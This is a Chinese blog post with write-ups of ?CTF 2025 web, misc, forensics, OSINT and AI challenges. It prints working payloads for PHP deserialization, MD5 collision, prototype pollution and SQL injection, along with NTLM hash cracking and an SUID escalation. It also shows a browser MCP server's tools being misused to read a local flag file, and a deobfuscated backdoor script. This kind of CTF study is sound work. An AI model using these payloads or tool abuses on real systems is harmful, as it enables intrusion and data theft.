跳过正文
  1. Posts/

?CTF 2025 WriteUp

·5048 字·11 分钟
目录

web
#

[Week1] Gitttttttt
#

题目提示了git
get http://challenge.ilovectf.cn:30393/.git/HEAD,文件存在,证明存在源码泄露
使用githack一把梭

flag{OH_I_NeZv0r_l3V30_tlE_GBl7_a8gAzn}

[Week1] Ping??
#

网络搜索得知在ping命令后可以执行命令

但是好像没那么简单,有过滤

使用通配符绕过

[Week1] from_http
#

[Week1] secret of php
#

题目需要!$a === "2025" and intval($a, 0) === 2025
使用2025的八进制绕过


接下来是一个弱类型+md5强碰撞
参考md5强碰撞12
payload:

a=240610708&b=QNKCDZO&aa[]=1&bb[]=2&aaa=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&bbb=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

[Week1] 前端小游戏
#

手速,可以轻松完成

然而并不行,666
代码审计发现一串base64,解码得flag

[Week1] 包含不明东西的食物?!
#

第一眼:php文件包含?
第二眼:路径穿越

[Week2] 留言板
#

观察到后端是python,判断是jinja ssti
使用 https://github.com/Marven11/FenJing 一把梭


[Week2] 登录和查询
#

说了要爆破
观察到:


提供了字典,使用yakit爆破

(第一次从bp换到yakit,不太适应,在摸索)
302到/flag.php
随便填了个参数,提示要union注入
确定列数3:

寻找显示位,确定三列都可以显示:

确定数据库名为ctf:

但是尝试获取表名的时候报错

使用16进制绕过

得到表名flags,secret_data,users
查询列名,依然报错,依然hex绕过

列名id,flag
然后读取

记录一下手注(

[Week2] Only Picture Up
#

常规的图片马

扫根目录找到FL4g94

[Week2] Regular Expression
#

扔进regex vis

按照题意写个字符串并url编码

-ctf<
>>>>>h11~~~~~~~~~~@email.com flag1

-ctf%3C%0A%3E%3E%3E%3E%3Eh11~~~~~~~~~~@email.com%20flag1

然后需要写一个正则匹配给出的字符串
直接任意匹配,然后|凑字数

[Week2] Look at the picture
#

确实可以加载图片..

尝试使用远程文件包含漏洞,但是发现有检测
但是不知道具体过滤哪些字符串,得有源码,于是尝试dirsearch


发现filter没有过滤

[Week2] 这是什么函数
#

观察到python pollute,怀疑原型链污染

但是没有源码,浅浅的尝试一下


(dirsearch真的跑的太慢了 只好挂着然后自己试)
源码中需要cat == dog才会返回flag,于是需要想办法污染这两个变量

{"__init__":{"__func__":{"__globals__":{"cat":"a","dog":"a"}}}}

然后访问/flag即可

[Week3] 魔术大杂烩
#

php反序列化

<?php
class Wuhuarou{
    public $Wuhuarou;
    function __construct($Wuhuarou) {
        $this->Wuhuarou = $Wuhuarou;
    }
}

class Fentiao{
    public $Fentiao;
    public $Hongshufentiao;
    function __construct($Fentiao) {
        $this->Fentiao = $Fentiao;
    }
}

class Baicai{
    public $Baicai;
    function __construct($Baicai) {
        $this->Baicai = $Baicai;
    }
}

class Wanzi{
    public $Wanzi;
    function __construct($Wanzi) {
        $this->Wanzi = $Wanzi;
    }
}

class Xianggu{
    public $Xianggu;
    public $Jinzhengu;
    public function __construct($Xianggu, $Jinzhengu){
        $this->Xianggu = $Xianggu;
        $this->Jinzhengu = $Jinzhengu;
    }
}

class Huluobo{
    public $HuLuoBo;
}

$command = "system('cat /flag');";

$huluobo = new Huluobo();
$xianggu = new Xianggu($huluobo, $command);
$wanzi = new Wanzi($xianggu);
$baicai = new Baicai($wanzi);
$fentiao = new Fentiao($baicai);
$wuhuarou = new Wuhuarou($fentiao);

$payload = serialize($wuhuarou);
echo $payload;
?>
O:8:"Wuhuarou":1:{s:8:"Wuhuarou";O:7:"Fentiao":2:{s:7:"Fentiao";O:6:"Baicai":1:{s:6:"Baicai";O:5:"Wanzi":1:{s:5:"Wanzi";O:7:"Xianggu":2:{s:7:"Xianggu";O:7:"Huluobo":1:{s:7:"HuLuoBo";N;}s:9:"Jinzhengu";s:20:"system('cat /flag');";}}}s:14:"Hongshufentiao";N;}}

[Week3] 这又是什么函数
#

先扫目录(

访问/src,得到源码

[Week3] 查查忆
#

misc
#

[Week1] 布豪有黑客(一)
#

用wireshark打开文件,筛选http流量

提取27的zip文件

密码在17中

解压zip得到flag
flag{Wireshark_1s_4wes0m3}

[Week1] 文化木的侦探委托(一)
#

先binwalk一下,只有一个zip
解压得到一个png,爆破宽高得到实际宽高为3456*2600

拉去steg solve

[Week1] 维吉尼亚朋友的来信
#

听着不对劲,看频谱

提示deepsound,用deepsound打开提取到一个txt

题目提示维吉尼亚密码,扔进cyberchef

flag{funny_letter_to_you}

[Week1] 《关于我穿越到CTF的异世界这档事:序》
#

alphabet.txt是base64编码的,但我没看懂怎么用。。。
base8.txt是一串未知码表的base8编码字符串,扔给ai写爆破程序

import itertools

def main():
    encoded_str = "Tsmssic?FT?ii?sFFi?iTimCTC?mcCmsTiTmmCCCFs?sCCiiTFTcmCmFTCscFicTTs?ciC?TFFTim?s?TTmsmCmFCmmiFCmsTFTimCCsFCmiTicTT?msFCTTTs?c??ssFCmi?mciCcT"
    padding = "====="
    chars = ['T', 's', 'm', 'i', 'c', 'F', 'C', '?']
    digits = list(range(8))
    
    # Generate all possible mappings from chars to digits (0-7)
    for perm in itertools.permutations(digits):
        mapping = {ch: str(d) for ch, d in zip(chars, perm)}
        num_str = ''.join(mapping[ch] for ch in encoded_str)
        
        # Convert数字字符串 to binary string, each digit to 3 bits
        binary_str = ''.join(format(int(d), '03b') for d in num_str)
        
        # Take first 416 bits (52 bytes)
        if len(binary_str) < 416:
            continue
        binary_str = binary_str[:416]
        
        # Convert binary string to bytes
        try:
            data = bytes(int(binary_str[i:i+8], 2) for i in range(0, len(binary_str), 8))
            text = data.decode('utf-8')
            # Check if the text is readable (contains mostly printable ASCII and common words)
            if text.isprintable() :
                print("Mapping found:")
                for ch in chars:
                    print(f"{ch} -> {mapping[ch]}")
                print("Decoded text:")
                print(text)
                print()
                # Break after finding one readable text? Or continue to find all?
                # break  # Uncomment to stop after first finding
        except UnicodeDecodeError:
            continue

if __name__ == '__main__':
    main()


再解一次base64即得flag
flag{Th3_Pr1nc1pl3_0f_Base_1s_S0_Ezz}

[Week1] 俱乐部之旅(1) - 邀请函
#

压缩包内注释c5im????,尝试掩码爆破

解压得到steg.docx,提示在注释里


得到flag前半段。
然后将docx作为压缩包打开,发现这个文件

扔进cyberchef,得到flag的后半部分

flag{W0rd_5t3g_is_1z&Welc0me_t0_th3_c5im_C1ub}

[Week2] 布豪有黑客(二)
#

先筛选http流量,发现上传了个webshell


搜索得知是冰蝎流量
在最后一个webshell的请求中复制payload

使用BlueTeamTools解密流量(当然自己写个脚本也行)

将这串实际命令base64解码

cd / ;openssl enc -des3 -salt -k W3lc0me2m1sc -in /flag -out /xp/www/week2/uploads/flag_decrypted.zip

实际上是把flag加密成了一个后缀是zip的txt,然后再读取出来

写一个解密命令

openssl enc -d -des3 -salt -k W3lc0me2m1sc -in /xp/www/week2/uploads/flag_decrypted.zip -out ./decrypted_flag

得到flag

[Week2] 文化木的侦探委托(二)
#

010打开图片,找到提示

发现最后这个idat块格外的大

补全png头,拼接idat块内容,得到另一张图片

提示了blind,想必是双图盲水印
使用bwm提取

python bwm.py decode 1.png 2.png flag.png

得到flag

[Week2] 破碎的拼图
#

提示了steghide,使用steghide提取图片内隐写文件

steghide extract -sf image.jpg -p ?CTF


全部重命名为flag_C,就能用bandizip打开

文件开头就是flag

[Week2] 《关于我穿越到CTF的异世界这档事:破》
#

提示了suid提权

查找有suid权限的程序,发现editnote,会调用$EDITOR编辑notes.txt

将$EDITOR改为/bin/bash,将notes.txt改为whoami

但是不行,并没有实现提权,这就很匪夷所思了
后来搜索得知ruid suid不一致会权限降级
找了一下在根目录下没有flag,推测在/root/flag,于是思考将/root/flag软连接到~/notes.txt
最终尝试发现flag在/root/flag.txt

[Week2] 俱乐部之旅(2) - 我邮件呢??
#

使用wireshark提取imf格式

提取到一个zip

压缩包注释里写

Access to the congratulatory letter requires your identity hash as the password

可是我并不知道identity hash是什么,但是压缩包有一个png,可以用png头作为明文进行明文攻击

echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header
bkcrack -C Congratulations.zip -c id_card.png -p png_header -o 0


找到了三个keys,然后用这三个密钥提取出另一个压缩包

bkcrack -C Congratulations.zip -k 733236fb 6652cac7 8542e0e2 -U out.zip 123

然后就可以从图片中拿到压缩包的密码

使用这个密码解压压缩包,在Congratulations.txt最后就是flag

[Week3] 布豪有黑客(三)
#

参考Misc-Network Traffic Analysis
1.过滤出ntlmssp的请求包,查看 Session Set Request 并复制NTLMSSP_AUTH包中Security Blob层的User name、Domain name

User name: rockyou
Domain name: C3NGH--DESKTOP

2.查看NTLMSSP_AUTH包中的NTLM响应,并复制出ntlmv2_response以及ntproofstr3

ntlmv2_response: e20402e8a924e2de7c1e3fd3f949bc3801010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000
NTProofStr: e20402e8a924e2de7c1e3fd3f949bc38

3.过滤出ntlmssp的请求包,查看Session Set Response 并复制出NTLM Server Challenge的值,通常这个数据包是在NTLM_Auth数据包之前

NTLM Server Challenge: 91e15fed933eff0c

4.把以上内容按照固定格式组合并保存到hash.txt中

username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response
rockyou::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000

5.使用hashcat爆破hash值
下载rockyou.txt字典

hashcat -m 5600 hash.txt rockyou.txt


然后参考SMB Decryption - TryHackMe计算session key原文

from Crypto.Cipher import ARC4
from Crypto.Hash import MD4, MD5, HMAC

password = 'poohkitty13'
passwordHash = MD4.new(password.encode('utf-16-le')).hexdigest()
username = 'ROCKYOU'
domain = 'C3NGH--DESKTOP'
ntProofStr = 'e20402e8a924e2de7c1e3fd3f949bc38'
serverChallenge = '91e15fed933eff0c'
sessionKey = '55d34fb498993a0aceaa960eea8ab7e9'

responseKey = HMAC.new(bytes.fromhex(passwordHash), (username.upper()+domain.upper()).encode('utf-16-le'), MD5).digest()
keyExchangeKey = HMAC.new(responseKey, bytes.fromhex(ntProofStr), MD5).digest()
decryptedSessionKey = ARC4.new(keyExchangeKey).decrypt(bytes.fromhex(sessionKey))
print('Decrypted SMB Session Key is: {}'.format(decryptedSessionKey.hex()))
Decrypted SMB Session Key is: c97ac1002c85cbd04f69f5406c430fbd

然后复制session id,转换为小端序

1900000c001c0000

在wireshark中配置

即可提取文件

补充:其实wireshark里直接填入密码就可以解密了,不需要后续的计算

[Week3] 文化木的侦探委托(三)
#

说了损坏五六处,那么修复zip结构是困难的,可以直接提取zlib流解压
提取frData

补上zlib头78 9C然后解压

提取到flag.docx,打开就是

[Week3] 《关于我穿越到CTF的异世界这档事:Q》
#

显然这是个godot游戏,还挺难玩的

使用Godot RE Tools反编译

在scenes/game.tscn中找到flag,将六个部分拼起来base64解码即可

[Week3] 俱乐部之旅(3) - 与时间对话
#

观察到To_My_Unseen_Friend.txt中有零宽字符隐写

一共使用了200b, 200c, 200d, 202a, 202c, feff这几种字符
使用在线工具解码

计算time的md5

解压后得到一个.git仓库,提取暂存的文件

得到dora文件,观察文件格式推测是gif图,但是打不开,损坏了
修正文件头

修正文件尾

发现文件头中定义的宽高和实际数据的宽高不同,修正

然后就能用gimp打开了

发现没有明显信息,但是帧延迟时间不同,怀疑有隐写
打开010编辑模板输出时间

Printf("delay time: %d\n",GraphicControlExtension.GraphicControlSubBlock.DelayTime);


看着像ascii,扔进cyberchef

forensics
#

[Week1] 取证第一次
#

diskgenius挂载然后看日志即可

flag{F0r3ns1cs_i$_Fun_Rea11y_???}

[Week2] 你也喜欢win7吗
#

(复现)
参考内存取证,使用volatility2分析
查看镜像信息

python2 vol.py -f memory.raw imageinfo 

得知是win7sp1x64的
查看进程列表

python2 vol.py -f memory.raw --profile=Win7SP1x64 pslist

注意到mspaint.exe
另外查找内存中文件

python2 vol.py -f memory.raw --profile=Win7SP1x64 filescan

发现桌面上有个hint,还有个flag.zip

*画图*真好用啊,可以把一些我记不住的密码画出来,还不容易被其他人找到…
所以我每次都会新建一个和屏幕分辨率一样大小的画布然后把密码画下来嘻嘻~%

参考这个进行mspaint的取证
先dump内存

python2 vol.py -f memory.raw --profile=Win7SP1x64 procdump -p [pid忘记了] -D ./

然后用gimp导入(貌似不是这么调参数的 期待官方wp)

用这个密码解压flag.zip即可

osint
#

[Week1] Task 1. 见面地点
#

图片带有EXIF信息

注意到旁边有个陕西哨子面,在地图中查看距离这家店最近的地铁站是会展中心站


flag{1_4_HuiZhanZhongXin}

[Week2] Task 2. 方块世界?!
#

打开这个codeberg仓库,找到level/_CTF世界.world这个文件
https://codeberg.org/what_is_the_flag/what-ctf-world/src/branch/main/level/_CTF%E4%B8%96%E7%95%8C.world
众所周知文字游戏世界最近发布了试玩版(想玩但是要做题),这个是它的存档
观察发现石板1-4的text拼起来是base64

并且有字符集

但是这样解码出来的仍然有乱码
继续观察发现“再看一遍”功能会替换原字符串中的一些部分
最终变为

LzkuL4gSqI6hrH0JYTUkLR9jLy0PnQNlKIY1Y4VmJ2DlqFZso4VsDzQkpmYusC==

flag{Funny_W0r1d_0f_Ch@rac43rs_Tru3_or_Fa1s3!}

得到flag。
(ps:下了个游戏但是wine转译运行不了,是electron的)

[Week3] 爱茂TV
#

使用nc连接后看到题目

0. 机主使用的用户名
用diskgenius加载镜像,即可看到用户名

flag{hajimi}

  1. 机主用户信息中隐藏的 Flag(按原样提交获取到的内容)
    查看/etc/passwd

    flag{I_l0v3_M4od1e}
  2. 机主最近自行安装字体的家族名称

    被坑了,一直以为是英文的,没想到是中文
    flag{鸿蒙黑体}
  3. 机主使用的 FTP 传输工具(全小写不含扩展名)

    flag{filezilla}
  4. 机主使用这个工具登录了一个外网服务器,请找出其 IP 地址与密码

    flag{112.2.196.181$114_S4f3Pwd_514}
  5. 机主对外通信使用的邮箱地址


    flag{praxoppogrebro-5874@yopmail.net}
  6. “加速器安装程序"的 MD5 值(全小写)

  7. “加速器安装程序"释放的文件中,有一个是端口扫描程序经重命名而成,请找出其文件名与原程序名。
    这一堆base64解码

    得到一个gz文件,解压后在res/rescue/ls

    flag{ls#fscan}
  8. “加速器安装程序"中的哪一行命令导致机主无法正常登录图形界面

    flag{systemctl disable lightdm >/dev/null 2>&1 || true}
  9. Shell 无法使用是由于什么文件被修改了?机主依然能使用哪些 Shell 登录(按字母序列出可执行文件名)?


    rbash是bash的受限版本,不算
    flag{/etc/bash.bashrc#dash#sh}

ai
#

[Week3] 等下交个flag先
#

使用MCP Inspector连接到mcp服务器

这是一个浏览器操作的mcp服务器,在tools下先调用browser_start启动一个浏览器实例

然后使用browser_create_page创建一个标签页

然后使用browser_navigate重定向至file:///flag

然后使用browser_screenshot对这个页面拍快照

然后得到图像base64,扔进cyberchef解码即可

[Week3] 等下交个flag先
#

运行pre.py,发现models/model_epoch_31.h5这个文件存在问题
(另外观察得知这是一个MNIST手写数字识别)
直接以文本文件打开这个文件,或者

strings models/model_epoch_31.h5 

发现一串base64编码的字符串

清除换行符之后解码

又是一个base64,继续解码

得到一串python代码(还带混淆的…?)

from re import T


def lIlIlI():
    IlIlII = "⚠️ WARNING: MODEL COMPROMISED!"
    lIIIll = "🚨 Injected Code Triggered Successfully"
    IIlIlI = "🏴‍☠️ Backdoor Activated... Exfiltrating Data"
    print(IlIlII)
    print(lIIIll)
    print(IIlIlI)
def IIllIl(IllIll, lIllII):
    def IIlIIl(lIllll, IIllll, llIIII=32):
        lIllIl, IllIIl = lIllll[0], lIllll[1]
        lIlIIl = 0
        IIlIll = 0x9E3779B9
        for _ in range(llIIII):
            lIlIIl = (lIlIIl + IIlIll) & 0xFFFFFFFF
            lIllIl = (lIllIl + (((IllIIl << 4) + IIllll[0]) ^ (IllIIl + lIlIIl) ^ ((IllIIl >> 5) + IIllll[1]))) & 0xFFFFFFFF
            IllIIl = (IllIIl + (((lIllIl << 4) + IIllll[2]) ^ (lIllIl + lIlIIl) ^ ((lIllIl >> 5) + IIllll[3]))) & 0xFFFFFFFF
        return [lIllIl, IllIIl]
    llIlll = (8 - len(IllIll) % 8) % 8
    IllIll += '\0' * llIlll
    IIlIII = []
    for llIlII in range(0, len(IllIll), 8):
        llIlIl = IllIll[llIlII:llIlII+8]
        IIIlll = int.from_bytes(llIlIl[:4].encode(), 'big')
        IIlIlll = int.from_bytes(llIlIl[4:].encode(), 'big')
        IIlIII.append([IIIlll, IIlIlll])
    IlllII = [int.from_bytes(lIllII[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
    lIlIll = [IIlIIl(IIlI, IlllII) for IIlI in IIlIII]
    return ''.join(f'{Ill:08x}{lll:08x}' for Ill, lll in lIlIll)
def lllIIl(llIlIlI, IIlIllI):
    def llIIIl(llIIIlI, lllIII, IIllllI=32):
        llIllII, IllIllI = llIIIlI[0], llIIIlI[1]
        IlllIll = 0x9E3779B9
        lIlllII = (IlllIll * IIllllI) & 0xFFFFFFFF
        for _ in range(IIllllI):
            IllIllI = (IllIllI - (((llIllII << 4) + lllIII[2]) ^ (llIllII + lIlllII) ^ ((llIllII >> 5) + lllIII[3]))) & 0xFFFFFFFF
            llIllII = (llIllII - (((IllIllI << 4) + lllIII[0]) ^ (IllIllI + lIlllII) ^ ((IllIllI >> 5) + lllIII[1]))) & 0xFFFFFFFF
            lIlllII = (lIlllII - IlllIll) & 0xFFFFFFFF
        return [llIllII, IllIllI]
    lIIIlI = []
    for lIlIIlI in range(0, len(llIlIlI), 16):
        lIIlllI = int(llIlIlI[lIlIIlI:lIlIIlI+8], 16)
        lIlIllI = int(llIlIlI[lIlIIlI+8:lIlIIlI+16], 16)
        lIIIlI.append([lIIlllI, lIlIllI])
    lIllIll = [int.from_bytes(IIlIllI[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
    IllIlII = [llIIIl(IllI, lIllIll) for IllI in lIIIlI]
    lIlllIl = b''.join(x.to_bytes(4, 'big') + y.to_bytes(4, 'big') for x, y in IllIlII)
    return lIlllIl.rstrip(b'\0').decode()
def IlIlIl():
    lIIlI = '2311b9123d7fdb3abe4b29b2efd34ed140e4ad78428b5d283a3e75af4be3ff2267f1db8523383ad0'
    lIIIllI = "dhcowjqnckssqdqm"
    lIlIl = lllIIl(lIIlI, lIIIllI)
    return True
def IlllI():
    llllI = __import__('socket')
    IlIIl = llllI.socket(llllI.AF_INET, llllI.SOCK_STREAM)
    IlIIl.settimeout(1)
    IlIIl.connect(("8.8.8.8", 53))
def lIIIlll():
    IlIlIl()
    lIlIlI()
    IlllI()
lIIIlll()

分析后发现第54行存在未使用的变量,print输出就是flag

Timmy
作者
Timmy
Fighting for Love.

相关文章

Hugo & Obsidian 博客撰写 与 笔记记录 配置
·1324 字·3 分钟
MD 和 短代码 展示
·6752 字·14 分钟